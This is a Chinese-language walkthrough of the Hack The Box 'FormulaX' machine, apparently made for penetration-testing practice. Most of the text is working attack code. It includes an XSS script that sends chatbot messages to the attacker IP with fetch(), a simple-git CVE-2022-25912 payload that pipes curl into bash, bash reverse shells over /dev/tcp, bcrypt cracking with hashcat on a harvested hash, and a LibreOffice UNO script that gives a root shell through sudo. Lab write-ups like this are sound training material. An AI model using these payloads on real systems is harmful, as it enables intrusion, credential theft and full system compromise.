[Meachines][Hard]FormulaX
字数 1157 2025-08-19 12:42:14
FormulaX 渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行快速扫描:
nmap -sC -sV 10.10.11.6 --min-rate 1000
添加目标主机到hosts文件:
echo '10.10.11.6 formula.htb' >> /etc/hosts
1.2 发现的服务
- 发现域名:formula.htb
- 后续发现子域名:dev-git-auto-update.chatbot.htb
2. Web应用渗透
2.1 用户注册与登录
- 创建一个新用户并登录
- 发现聊天窗口功能,但普通用户无法使用
2.2 XSS漏洞利用
- 在联系页面测试跨站脚本(XSS)漏洞
- 发现服务器开启了跨域资源访问(CORS)
- 无法获取cookie(设置了HttpOnly标志)
- 通过XSS获取Chatbot发送消息的源码
2.3 CSRF攻击
编写恶意脚本(s-h4ck13.js):
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
socket.on('message', (my_message) => {
fetch("http://10.10.16.6/?data=" + my_message)
});
socket.emit('client_message', 'history');
});
通过此脚本:
- 利用WebSocket与Chatbot交互
- 获取Chatbot的历史记录
- 发现新子域名:dev-git-auto-update.chatbot.htb
3. Git自动化系统漏洞利用
3.1 发现Simple-git漏洞
- 搜索发现Simple-git在3.15之前存在RCE漏洞(CVE-2022-25912)
- 漏洞利用代码:
const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
3.2 反向Shell获取
准备reverse.sh:
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/10032 0>&1
在"Remote Git Url"栏中输入payload:
ext::sh -c curl% http://10.10.16.6/reverse.sh|bash
4. 内网横向移动
4.1 数据库枚举
发现开放服务:
- MariaDB (3306)
- MongoDB (27017)
查找数据库配置文件:
find ./ -type f -name '*db*' | while read -r file; do
filename=$(basename "$file")
if [ ${#filename} -le 15 ]; then
echo "$file"
fi
done
访问MongoDB:
> use testing
> show collections
> db.users.find()
发现用户frank_dorky的凭据:
- 用户名:frank_dorky
- 密码哈希:\(2b\)10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6
4.2 密码破解
使用hashcat破解:
echo "\$2b\$10\$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6" > hash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
破解结果:
- 密码:manchesterunited
获取用户flag:
cat /home/frank_dorky/user.txt
# e079c692881778c3880454b025b906b0
5. 权限提升
5.1 发现LibreNMS服务
- 发现3000端口运行LibreNMS(网络监控系统)
- 版本:22.10.0
通过SSH隧道访问:
ssh -L 3000:127.0.0.1:3000 frank_dorky@10.10.11.6
5.2 获取数据库配置
使用/opt/librenms/config_to_json.php获取数据库配置:
./validate.php
发现新用户:
- 用户名:kai_relay
- 密码:mychemicalformulaX
5.3 利用LibreOffice漏洞
- 检查sudo权限:
sudo -l
- 发现可执行/usr/bin/office.sh:
cat /usr/bin/office.sh
- 准备反向Shell脚本(reverse.sh):
bash -i >& /dev/tcp/10.10.16.6/10034 0>&1
- 准备利用脚本(exp.py):
#!/usr/bin/env python3
import uno
from com.sun.star.system import XSystemShellExecute
local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstance("com.sun.star.system.SystemShellExecute")
rc.execute("bash", "/tmp/reverse.sh", 1)
- 执行攻击:
sudo /usr/bin/office.sh
# 在另一个终端
python3 exp.py
获取root flag:
838cf791e70b35799984bae602e49f0e
6. 其他发现
在/opt/librenms中存在添加用户的PHP脚本:
./addUser.php username password
可用于添加用户并获取3000端口web服务的shell,但在本实验中非必要。